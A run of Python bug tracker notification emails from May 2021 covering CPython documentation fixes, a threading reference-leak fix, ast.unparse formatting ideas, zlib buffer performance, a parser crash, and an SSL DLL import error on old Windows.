2021 From: report at bugs.python.org (Jeff Moguillansky) Date: Fri, 14 May 2021 23:44:01 +0000 Subject: [issue44126] Cross Compile CPython Modules In-Reply-To: <1620929740.81.0.435591662331.issue44126@roundup.psfhosted.org> Message-ID: <1621035841.29.0.86806327779.issue44126@roundup.psfhosted.org> Change by Jeff Moguillansky : ---------- title: Cross Compile Cython Modules -> Cross Compile CPython Modules _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 19:44:09 2021 From: report at bugs.python.org (Jeff Moguillansky) Date: Fri, 14 May 2021 23:44:09 +0000 Subject: [issue44126] Cross Compile CPython Modules In-Reply-To: <1620929740.81.0.435591662331.issue44126@roundup.psfhosted.org> Message-ID: <1621035849.08.0.265462844318.issue44126@roundup.psfhosted.org> Change by Jeff Moguillansky : ---------- status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 19:49:43 2021 From: report at bugs.python.org (Jeff Moguillansky) Date: Fri, 14 May 2021 23:49:43 +0000 Subject: [issue44126] Cross Compile CPython Modules In-Reply-To: <1620929740.81.0.435591662331.issue44126@roundup.psfhosted.org> Message-ID: <1621036183.54.0.86727228744.issue44126@roundup.psfhosted.org> Jeff Moguillansky added the comment: Thanks for the info, I will forward the question to the setuptools mailing list ---------- status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 23:57:18 2021 From: report at bugs.python.org (Michael Cuthbert) Date: Sat, 15 May 2021 03:57:18 +0000 Subject: [issue44139] Unparenthesized tuple doc bug in what's new Message-ID: <1621051038.69.0.299578563029.issue44139@roundup.psfhosted.org> New submission from Michael Cuthbert : The What's New in Python 3.10 docs demonstrates a richer SyntaxError for this set comprehension: >>> {x,y for x,y in range(100)} File "", line 1 {x,y for x,y in range(100)} ^ SyntaxError: did you forget parentheses around the comprehension target? The problem (at least for beginners) is that there are two errors in the line. Parenthesizing the comprehension target gets "TypeError: cannot unpack non-iterable int object" since "x,y in range(...)" does not work. I think it would be better to illustrate with code that works if not for the missing parentheses. Something like this: >>> {x,y for x,y in zip('abcd', 'efgh')} File "", line 1 {x,y for x,y in zip('abcd', 'efgh')} ^ SyntaxError: did you forget parentheses around the comprehension target? Thanks for the great work on making error messages better! This prof. who often has to help students with Python errors heartily approves! ---------- assignee: docs at python components: Documentation messages: 393704 nosy: docs at python, mscuthbert priority: normal severity: normal status: open title: Unparenthesized tuple doc bug in what's new type: behavior versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 00:21:37 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Sat, 15 May 2021 04:21:37 +0000 Subject: [issue44115] Improve conversions for fractions In-Reply-To: <1620824977.65.0.255343602515.issue44115@roundup.psfhosted.org> Message-ID: <1621052497.67.0.421403981646.issue44115@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- assignee: rhettinger -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 04:11:13 2021 From: report at bugs.python.org (Miguel Brito) Date: Sat, 15 May 2021 08:11:13 +0000 Subject: [issue32133] documentation: numbers module nitpick In-Reply-To: <1511634703.59.0.213398074469.issue32133@psf.upfronthosting.co.za> Message-ID: <1621066273.17.0.459348064191.issue32133@roundup.psfhosted.org> Change by Miguel Brito : ---------- keywords: +patch pull_requests: +24775 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26124 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 04:14:28 2021 From: report at bugs.python.org (Miguel Brito) Date: Sat, 15 May 2021 08:14:28 +0000 Subject: [issue32133] documentation: numbers module nitpick In-Reply-To: <1511634703.59.0.213398074469.issue32133@psf.upfronthosting.co.za> Message-ID: <1621066468.38.0.66421000507.issue32133@roundup.psfhosted.org> Miguel Brito added the comment: @rhettinger added your suggestion. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 04:21:18 2021 From: report at bugs.python.org (Barney Gale) Date: Sat, 15 May 2021 08:21:18 +0000 Subject: [issue44136] Remove pathlib flavours In-Reply-To: <1621016938.4.0.46024543706.issue44136@roundup.psfhosted.org> Message-ID: <1621066878.98.0.667256501875.issue44136@roundup.psfhosted.org> Change by Barney Gale : ---------- keywords: +patch pull_requests: +24776 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26141 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 04:22:40 2021 From: report at bugs.python.org (Sergey B Kirpichev) Date: Sat, 15 May 2021 08:22:40 +0000 Subject: [issue32133] documentation: numbers module nitpick In-Reply-To: <1511634703.59.0.213398074469.issue32133@psf.upfronthosting.co.za> Message-ID: <1621066960.23.0.614242876368.issue32133@roundup.psfhosted.org> Sergey B Kirpichev added the comment: Maybe some methods from the Complex class could be moved to the Number class? I think, that something like the ring structure (probably even a commutative ring) is expected from the number classes in the Python. I.e. there should be __add__/__sub__/__mul__/__pos__/__neg__/__pow__/etc. But not __truediv__/__floordiv__. Even simpler idea: move the __eq__ method to the Number class. Then it would be impossible to instantiate a Number. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 04:42:52 2021 From: report at bugs.python.org (conchylicultor) Date: Sat, 15 May 2021 08:42:52 +0000 Subject: [issue44140] WeakKeyDictionary should support lookup by id instead of hash Message-ID: <1621068171.99.0.542983196926.issue44140@roundup.psfhosted.org> New submission from conchylicultor : WeakKeyDictionary are great to "associate additional data with an object owned by other parts of an application", as quoted from the doc: https://docs.python.org/3/library/weakref.html#weakref.WeakKeyDictionary However, this currently only works for hashable types. Non-hashables are not supported: ``` @dataclass class A: pass a = A() d = weakref.WeakKeyDictionary() d[a] = 3 # TypeError: unhashable type: 'A' ``` With regular dict, this could be easilly solved by using `d[id(a)] = 3`, but WeakKeyDictionary don't accept `int` of course. I cannot wrap the object either as the weakref would not be attached to the original object, but the wrapper. It would be great to be able to force WeakKeyDictionary to perform lookup on `id` internally. Like `d = WeakKeyDictionary(use_id_lookup=True)` ---------- components: Library (Lib) messages: 393707 nosy: conchylicultor priority: normal severity: normal status: open title: WeakKeyDictionary should support lookup by id instead of hash type: enhancement versions: Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 05:01:30 2021 From: report at bugs.python.org (Miguel Brito) Date: Sat, 15 May 2021 09:01:30 +0000 Subject: [issue44137] importlib.resources.path raises RuntimeError when FileNotFoundError is raise in context manager In-Reply-To: <1621020560.88.0.325550849747.issue44137@roundup.psfhosted.org> Message-ID: <1621069290.14.0.916047460236.issue44137@roundup.psfhosted.org> Miguel Brito added the comment: I can reproduce this. From what I can see the issue is that `importlib.resources.path` intentionally suppresses `FileNotFoundError` errors. https://github.com/python/cpython/blob/main/Lib/importlib/resources.py#L138 Based on `importlib.resources.path` docstring I think this is to avoid raising an exception if the file is deleted before the context manager exits. On contextlib.py, since type is not None, it will try to throw the exception but since it's supressed nothing will happen and the code will reach the end by raising the RuntimeError. https://github.com/python/cpython/blob/main/Lib/contextlib.py#L151 If I'm not mistaken, this is the test that verifies that behaviour: https://github.com/python/cpython/blob/main/Lib/test/test_importlib/test_path.py#L51 I'm not a core dev but it looks like it's an intentional behaviour. Maybe the docs should be more clear about this. It's not obvious to me when I read the docs. ---------- nosy: +miguendes _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 05:05:00 2021 From: report at bugs.python.org (Antoine Pitrou) Date: Sat, 15 May 2021 09:05:00 +0000 Subject: [issue37788] fix for bpo-36402 (threading._shutdown() race condition) causes reference leak In-Reply-To: <1565194972.64.0.065323919799.issue37788@roundup.psfhosted.org> Message-ID: <1621069500.28.0.314065467962.issue37788@roundup.psfhosted.org> Change by Antoine Pitrou : ---------- versions: -Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 05:10:11 2021 From: report at bugs.python.org (Antoine Pitrou) Date: Sat, 15 May 2021 09:10:11 +0000 Subject: [issue37788] fix for bpo-36402 (threading._shutdown() race condition) causes reference leak In-Reply-To: <1565194972.64.0.065323919799.issue37788@roundup.psfhosted.org> Message-ID: <1621069811.95.0.543954978408.issue37788@roundup.psfhosted.org> Change by Antoine Pitrou : ---------- pull_requests: +24777 pull_request: https://github.com/python/cpython/pull/26142 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 05:24:47 2021 From: report at bugs.python.org (miss-islington) Date: Sat, 15 May 2021 09:24:47 +0000 Subject: [issue37788] fix for bpo-36402 (threading._shutdown() race condition) causes reference leak In-Reply-To: <1565194972.64.0.065323919799.issue37788@roundup.psfhosted.org> Message-ID: <1621070687.98.0.0702712178563.issue37788@roundup.psfhosted.org> miss-islington added the comment: New changeset 71dca6ea73aaf215fafa094512e8c748248c16b0 by Miss Islington (bot) in branch '3.10': [3.10] bpo-37788: Fix reference leak when Thread is never joined (GH-26103) (GH-26138) https://github.com/python/cpython/commit/71dca6ea73aaf215fafa094512e8c748248c16b0 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 05:44:24 2021 From: report at bugs.python.org (Julien Palard) Date: Sat, 15 May 2021 09:44:24 +0000 Subject: [issue43504] Site linked in docs, effbot.org, down In-Reply-To: <1615849580.97.0.243341860557.issue43504@roundup.psfhosted.org> Message-ID: <1621071864.55.0.255076413159.issue43504@roundup.psfhosted.org> Change by Julien Palard : ---------- keywords: +easy, newcomer friendly _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 05:51:24 2021 From: report at bugs.python.org (miss-islington) Date: Sat, 15 May 2021 09:51:24 +0000 Subject: [issue37788] fix for bpo-36402 (threading._shutdown() race condition) causes reference leak In-Reply-To: <1565194972.64.0.065323919799.issue37788@roundup.psfhosted.org> Message-ID: <1621072284.04.0.60593140466.issue37788@roundup.psfhosted.org> miss-islington added the comment: New changeset b30b25b26663fb6070b8ed86fe3a20dcb557d05d by Antoine Pitrou in branch '3.9': [3.9] bpo-37788: Fix reference leak when Thread is never joined (GH-26103) (GH-26142) https://github.com/python/cpython/commit/b30b25b26663fb6070b8ed86fe3a20dcb557d05d ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 05:53:03 2021 From: report at bugs.python.org (Antoine Pitrou) Date: Sat, 15 May 2021 09:53:03 +0000 Subject: [issue37788] fix for bpo-36402 (threading._shutdown() race condition) causes reference leak In-Reply-To: <1565194972.64.0.065323919799.issue37788@roundup.psfhosted.org> Message-ID: <1621072383.27.0.0238161718699.issue37788@roundup.psfhosted.org> Change by Antoine Pitrou : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 06:39:03 2021 From: report at bugs.python.org (Tarnum) Date: Sat, 15 May 2021 10:39:03 +0000 Subject: [issue44141] Getting error while importing ssl "import _ssl ImportError: DLL load failed: The specified procedure could not be found." Message-ID: <1621075143.47.0.586149387116.issue44141@roundup.psfhosted.org> New submission from Tarnum : Hello! I'm using specifically crafted Python 3.7.1 for NT 5.2 x86 (Server 2003 R2) and cannot upgrade Python to later versions. I always building OpenSSL myself using compatible version of MSYS2 with perl 5.22. Compiled DLLs of OpenSSL 1.1.1k works fine for me (libcrypto-1_1.dll and libssl-1_1.dll in C:\Python37\DLLs\). But when I try building OpenSSL 3.0.0 alpha 16 (repacing libcrypto-3.dll with libcrypto-1_1.dll and libssl-3.dll with libssl-1_1.dll in Makefile and util\mkdef.pl) I got this error because of OpenSSL 3.0 backwards incompatibility: import ssl File "C:\Python37\lib\ssl.py", line 98, in import _ssl (C:\Python37\DLLs\_ssl.pyd) # if we can't import it, let the error propagate ImportError: DLL load failed: The specified procedure could not be found. What could I do to fix it? Thanks in advance! ---------- assignee: christian.heimes components: SSL, Windows messages: 393711 nosy: Tarnum, christian.heimes, paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal status: open title: Getting error while importing ssl "import _ssl ImportError: DLL load failed: The specified procedure could not be found." type: behavior versions: Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 07:29:34 2021 From: report at bugs.python.org (Barney Gale) Date: Sat, 15 May 2021 11:29:34 +0000 Subject: [issue24132] Direct sub-classing of pathlib.Path In-Reply-To: <1430890013.04.0.304568332905.issue24132@psf.upfronthosting.co.za> Message-ID: <1621078174.7.0.00956703109023.issue24132@roundup.psfhosted.org> Change by Barney Gale : ---------- pull_requests: +24778 pull_request: https://github.com/python/cpython/pull/26141 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 08:24:32 2021 From: report at bugs.python.org (Ken Jin) Date: Sat, 15 May 2021 12:24:32 +0000 Subject: [issue44135] issubclass documentation doesn't explain tuple semantic In-Reply-To: <1621016667.05.0.821636272564.issue44135@roundup.psfhosted.org> Message-ID: <1621081472.8.0.0847537343183.issue44135@roundup.psfhosted.org> Ken Jin added the comment: I agree that this subtlety could be expressed better. Thanks for the catch! Would you like to work on this? BTW, only Python 3.9 and higher are still receiving bugfixes (including doc fixes). The older versions are either security fixes only or end of life :). ---------- keywords: +easy, newcomer friendly nosy: +kj versions: -Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 08:25:29 2021 From: report at bugs.python.org (Bonifacio) Date: Sat, 15 May 2021 12:25:29 +0000 Subject: [issue13498] os.makedirs exist_ok documentation is incorrect, as is some of the behavior In-Reply-To: <1322574123.12.0.756700598965.issue13498@psf.upfronthosting.co.za> Message-ID: <1621081529.84.0.355595557776.issue13498@roundup.psfhosted.org> Bonifacio added the comment: I just read this issue's history and it looks like it is out of date. The docs now match the behaviour. > If the file exists but the mode is different than that specified (or defaulted) after applying the umask, then an error is raised regardless of the value of exist_ok. This isn?t true anymore. > The above wording also implies that if the directory exists but has a different mode, that the mode will be changed. Again, this is not what the code does. The docs now state the behaviour explicitly: ?The file permission bits of existing parent directories are not changed.? This means the reported issue no longer exists. But somewhere along the discussion it became one about adding a new flag to control the behaviour when there are mode mismatches. I tried applying Hynek?s patch locally, but it doesn?t work anymore. If we want to go ahead with adding this new flag we would have to create a new patch. If we want to drop the change then this issue can be closed. If we decide to go with the flag addition I?m glad to help fixing Hynek?s patch?s incompatibilities if he is ok with that. ---------- nosy: +Bonifacio2 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 09:00:23 2021 From: report at bugs.python.org (Batuhan Taskaya) Date: Sat, 15 May 2021 13:00:23 +0000 Subject: [issue44081] ast.unparse: dont use redundant space separator for lambdas with no parameters In-Reply-To: <1620517095.39.0.166538453472.issue44081@roundup.psfhosted.org> Message-ID: <1621083623.8.0.727602817315.issue44081@roundup.psfhosted.org> Change by Batuhan Taskaya : ---------- stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 09:01:19 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Sat, 15 May 2021 13:01:19 +0000 Subject: [issue38768] [feature request] Add lldb equivalent to Tools/gdb In-Reply-To: <1573493155.23.0.630795788847.issue38768@roundup.psfhosted.org> Message-ID: <1621083679.39.0.500416610767.issue38768@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- nosy: +erlendaasland _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 09:29:47 2021 From: report at bugs.python.org (Batuhan Taskaya) Date: Sat, 15 May 2021 13:29:47 +0000 Subject: [issue44142] ast.unparse: visually better code generation Message-ID: <1621085386.98.0.631480051467.issue44142@roundup.psfhosted.org> New submission from Batuhan Taskaya : This issue is for tracking possible places where we could generate better code on ast.unparse (better as in more closely to what people are actually writing than our naive implementation). Examples; >>> import ast >>> ast.unparse(ast.parse('a, b, c = [1,2,3]')) '(a, b, c) = [1, 2, 3]' could be >>> ast.unparse(ast.parse('a, b, c = [1,2,3]')) 'a, b, c = [1, 2, 3]' OR >>> print(ast.unparse(ast.parse('if value := d.get("something"): print(value)'))) if (value := d.get('something')): print(value) could be >>> print(ast.unparse(ast.parse('if value := d.get("something"): print(value)'))) if value := d.get('something'): print(value) We could even go further with the long line unpacking (which would definitely require some sort of clever algorithm for nested structures). >>> source = '[\n' + '\tsomething,\n' * 20 + ']' >>> print(source) [ something, something, something, something, something, something, something, something, something, something, something, something, something, something, something, something, something, something, something, something, ] >>> print(ast.unparse(ast.parse(source))) [something, something, something, something, something, something, something, something, something, something, something, something, something, something, something, something, something, something, something, something] ---------- assignee: BTaskaya components: Library (Lib) messages: 393714 nosy: BTaskaya, pablogsal priority: normal severity: normal status: open title: ast.unparse: visually better code generation type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 10:32:50 2021 From: report at bugs.python.org (Ma Lin) Date: Sat, 15 May 2021 14:32:50 +0000 Subject: [issue41486] Add _BlocksOutputBuffer for bz2/lzma/zlib module In-Reply-To: <1596621344.28.0.22443935276.issue41486@roundup.psfhosted.org> Message-ID: <1621089170.14.0.100056490609.issue41486@roundup.psfhosted.org> Change by Ma Lin : ---------- pull_requests: +24779 pull_request: https://github.com/python/cpython/pull/26143 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 10:33:59 2021 From: report at bugs.python.org (Ma Lin) Date: Sat, 15 May 2021 14:33:59 +0000 Subject: [issue41486] Add _BlocksOutputBuffer for bz2/lzma/zlib module In-Reply-To: <1596621344.28.0.22443935276.issue41486@roundup.psfhosted.org> Message-ID: <1621089239.57.0.967535507634.issue41486@roundup.psfhosted.org> Ma Lin added the comment: Sorry, for the (init_size > UINT32_MAX) problem, I have a better solution. Please imagine this scenario: - before the patch - in 64-bit build - use zlib.decompress() function - the exact decompressed size is known and > UINT32_MAX (e.g. 10 GiB) If set the `bufsize` argument to the decompressed size, it used to have a fast path: zlib.decompress(data, bufsize=10*1024*1024*1024) Fast path when (the initial size == the actual size): https://github.com/python/cpython/blob/v3.9.5/Modules/zlibmodule.c#L424-L426 https://github.com/python/cpython/blob/v3.9.5/Objects/bytesobject.c#L3008-L3011 But in the current code, the initial size is clamped to UINT32_MAX, so there are two regressions: 1. allocate double RAM. (~20 GiB, blocks and the final bytes) 2. need to memcpy from blocks to the final bytes. PR 26143 uses an UINT32_MAX sliding window for the first block, now the initial buffer size can be greater than UINT32_MAX. _BlocksOutputBuffer_Finish() already has a fast path for single block. Benchmark this code: zlib.decompress(data, bufsize=10*1024*1024*1024) time RAM before: 7.92 sec, ~20 GiB after: 6.61 sec, 10 GiB (AMD 3600X, DDR4-3200, decompressed data is 10_GiB * b'a') Maybe some user code rely on this corner case. This should be the last revision, then there is no regression in any case. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 10:44:52 2021 From: report at bugs.python.org (Ma Lin) Date: Sat, 15 May 2021 14:44:52 +0000 Subject: [issue43650] MemoryError on zip.read in shutil._unpack_zipfile In-Reply-To: <1616966483.79.0.479664444023.issue43650@roundup.psfhosted.org> Message-ID: <1621089892.1.0.295176883633.issue43650@roundup.psfhosted.org> Change by Ma Lin : ---------- nosy: +malin _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 10:45:13 2021 From: report at bugs.python.org (Ma Lin) Date: Sat, 15 May 2021 14:45:13 +0000 Subject: [issue44134] lzma: stream padding in xz files In-Reply-To: <1621014722.86.0.839640060704.issue44134@roundup.psfhosted.org> Message-ID: <1621089913.34.0.0784030760941.issue44134@roundup.psfhosted.org> Change by Ma Lin : ---------- nosy: +malin _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 12:12:05 2021 From: report at bugs.python.org (Ned Deily) Date: Sat, 15 May 2021 16:12:05 +0000 Subject: [issue44139] Unparenthesized tuple doc bug in what's new In-Reply-To: <1621051038.69.0.299578563029.issue44139@roundup.psfhosted.org> Message-ID: <1621095125.99.0.580233102288.issue44139@roundup.psfhosted.org> Change by Ned Deily : ---------- nosy: +pablogsal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 12:30:11 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sat, 15 May 2021 16:30:11 +0000 Subject: [issue44143] The parse crashes when raising tokenizer errors when an existing exception is set Message-ID: <1621096211.06.0.0593507223604.issue44143@roundup.psfhosted.org> New submission from Pablo Galindo Salgado : The parser currently crashes when raising exceptions when the error indicator set. Reproducer: import ast source = """\ [interesting foo() """ print(repr(source)) compile(source, "", "exec") We need to make sure to clean any existing exception before we raise or own. ---------- messages: 393716 nosy: BTaskaya, pablogsal priority: normal severity: normal status: open title: The parse crashes when raising tokenizer errors when an existing exception is set _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 12:31:29 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sat, 15 May 2021 16:31:29 +0000 Subject: [issue44143] The parse crashes when raising tokenizer errors when an existing exception is set In-Reply-To: <1621096211.06.0.0593507223604.issue44143@roundup.psfhosted.org> Message-ID: <1621096289.93.0.524657373218.issue44143@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- keywords: +patch pull_requests: +24780 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26144 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 12:33:30 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sat, 15 May 2021 16:33:30 +0000 Subject: [issue44139] Unparenthesized tuple doc bug in what's new In-Reply-To: <1621051038.69.0.299578563029.issue44139@roundup.psfhosted.org> Message-ID: <1621096410.88.0.683244720681.issue44139@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- keywords: +patch pull_requests: +24781 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26145 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 12:35:34 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sat, 15 May 2021 16:35:34 +0000 Subject: [issue44139] Unparenthesized tuple doc bug in what's new In-Reply-To: <1621051038.69.0.299578563029.issue44139@roundup.psfhosted.org> Message-ID: <1621096534.07.0.400153421914.issue44139@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Great idea, I have opened a PR to change it ---------- stage: patch review -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 12:37:23 2021 From: report at bugs.python.org (miss-islington) Date: Sat, 15 May 2021 16:37:23 +0000 Subject: [issue44139] Unparenthesized tuple doc bug in what's new In-Reply-To: <1621051038.69.0.299578563029.issue44139@roundup.psfhosted.org> Message-ID: <1621096643.35.0.36156205682.issue44139@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 3.0 -> 4.0 pull_requests: +24782 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26146 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 12:53:14 2021 From: report at bugs.python.org (Ned Deily) Date: Sat, 15 May 2021 16:53:14 +0000 Subject: [issue44132] Local import conflict with system import In-Reply-To: <1621006760.95.0.599911995552.issue44132@roundup.psfhosted.org> Message-ID: <1621097594.21.0.904509051932.issue44132@roundup.psfhosted.org> Ned Deily added the comment: Python is behaving as documented here. The problem is that you have a package named 'xml' which conflicts with the package of the same name in the standard library (https://docs.python.org/3/library/xml.html) which may cause conflicts for other packages depending on the import search order. The documentation for sys.path (https://docs.python.org/3/library/sys.html#sys.path) explains what you are seeing: 'As initialized upon program startup, the first item of this list, path[0], is the directory containing the script that was used to invoke the Python interpreter. If the script directory is not available (e.g. if the interpreter is invoked interactively or if the script is read from standard input), path[0] is the empty string, which directs Python to search modules in the current directory first. Notice that the script directory is inserted before the entries inserted as a result of PYTHONPATH." So, in your first example, "testdriver" will be the first entry on sys.path because the script was invoked from there; this mean 'xml' will be imported from the "testdriver" directory. But, in your second example, the script is read from the command line via the -c argument so the first sys.path entry will be '' and the current directory is 'python_bug' so now your 'xml' package is no longer found first. This is a common pitfall and is sometimes called the "name shadowing trap" (see http://python-notes.curiousefficiency.org/en/latest/python_concepts/import_traps.html#the-name-shadowing-trap). The easiest and most robust solution is to avoid using package and module names that conflict with those in the standard library. ---------- nosy: +ned.deily resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 12:56:23 2021 From: report at bugs.python.org (miss-islington) Date: Sat, 15 May 2021 16:56:23 +0000 Subject: [issue32133] documentation: numbers module nitpick In-Reply-To: <1511634703.59.0.213398074469.issue32133@psf.upfronthosting.co.za> Message-ID: <1621097783.83.0.553726774427.issue32133@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 6.0 -> 7.0 pull_requests: +24783 pull_request: https://github.com/python/cpython/pull/26147 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 12:56:38 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sat, 15 May 2021 16:56:38 +0000 Subject: [issue44139] Unparenthesized tuple doc bug in what's new In-Reply-To: <1621051038.69.0.299578563029.issue44139@roundup.psfhosted.org> Message-ID: <1621097798.32.0.429172258725.issue44139@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: New changeset 67729a91a5fe6ad06fb5f2cc4f91ad99876e431a by Miss Islington (bot) in branch '3.10': bpo-44139: Use a more descriptive syntax error comprehension case in the What's New for 3.10 (GH-26145) (GH-26146) https://github.com/python/cpython/commit/67729a91a5fe6ad06fb5f2cc4f91ad99876e431a ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 12:58:11 2021 From: report at bugs.python.org (miss-islington) Date: Sat, 15 May 2021 16:58:11 +0000 Subject: [issue44143] The parse crashes when raising tokenizer errors when an existing exception is set In-Reply-To: <1621096211.06.0.0593507223604.issue44143@roundup.psfhosted.org> Message-ID: <1621097891.6.0.481068573334.issue44143@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 2.0 -> 3.0 pull_requests: +24784 pull_request: https://github.com/python/cpython/pull/26148 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 12:58:22 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sat, 15 May 2021 16:58:22 +0000 Subject: [issue44139] Unparenthesized tuple doc bug in what's new In-Reply-To: <1621051038.69.0.299578563029.issue44139@roundup.psfhosted.org> Message-ID: <1621097902.61.0.277042831379.issue44139@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 13:02:04 2021 From: report at bugs.python.org (miss-islington) Date: Sat, 15 May 2021 17:02:04 +0000 Subject: [issue32133] documentation: numbers module nitpick In-Reply-To: <1511634703.59.0.213398074469.issue32133@psf.upfronthosting.co.za> Message-ID: <1621098124.77.0.21034115773.issue32133@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24785 pull_request: https://github.com/python/cpython/pull/26149 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 13:28:14 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Sat, 15 May 2021 17:28:14 +0000 Subject: [issue32133] documentation: numbers module nitpick In-Reply-To: <1511634703.59.0.213398074469.issue32133@psf.upfronthosting.co.za> Message-ID: <1621099694.87.0.325217624575.issue32133@roundup.psfhosted.org> Raymond Hettinger added the comment: New changeset 376740110ecb2440fee9e04f325131aaefeb5c47 by Miss Islington (bot) in branch '3.9': bpo-32133: Improve numbers docs (GH-26124) (GH-26147) https://github.com/python/cpython/commit/376740110ecb2440fee9e04f325131aaefeb5c47 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 13:28:58 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Sat, 15 May 2021 17:28:58 +0000 Subject: [issue32133] documentation: numbers module nitpick In-Reply-To: <1511634703.59.0.213398074469.issue32133@psf.upfronthosting.co.za> Message-ID: <1621099738.4.0.574104477508.issue32133@roundup.psfhosted.org> Raymond Hettinger added the comment: New changeset a38db84122b4f664ee30b9ffd55ce87b7f4517ac by Miss Islington (bot) in branch '3.10': bpo-32133: Improve numbers docs (GH-26124) (GH-26149) https://github.com/python/cpython/commit/a38db84122b4f664ee30b9ffd55ce87b7f4517ac ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 13:29:29 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Sat, 15 May 2021 17:29:29 +0000 Subject: [issue32133] documentation: numbers module nitpick In-Reply-To: <1511634703.59.0.213398074469.issue32133@psf.upfronthosting.co.za> Message-ID: <1621099769.15.0.014787438922.issue32133@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- assignee: docs at python -> rhettinger resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 13:39:25 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sat, 15 May 2021 17:39:25 +0000 Subject: [issue44143] The parse crashes when raising tokenizer errors when an existing exception is set In-Reply-To: <1621096211.06.0.0593507223604.issue44143@roundup.psfhosted.org> Message-ID: <1621100365.51.0.232141373627.issue44143@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: New changeset 1afaaf5a2dc901377bb17f6fbe0cff7bf3b797e3 by Miss Islington (bot) in branch '3.10': bpo-44143: Fix crash in the parser when raising tokenizer errors with an exception set (GH-26144) (GH-26148) https://github.com/python/cpython/commit/1afaaf5a2dc901377bb17f6fbe0cff7bf3b797e3 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 13:40:42 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sat, 15 May 2021 17:40:42 +0000 Subject: [issue44143] The parse crashes when 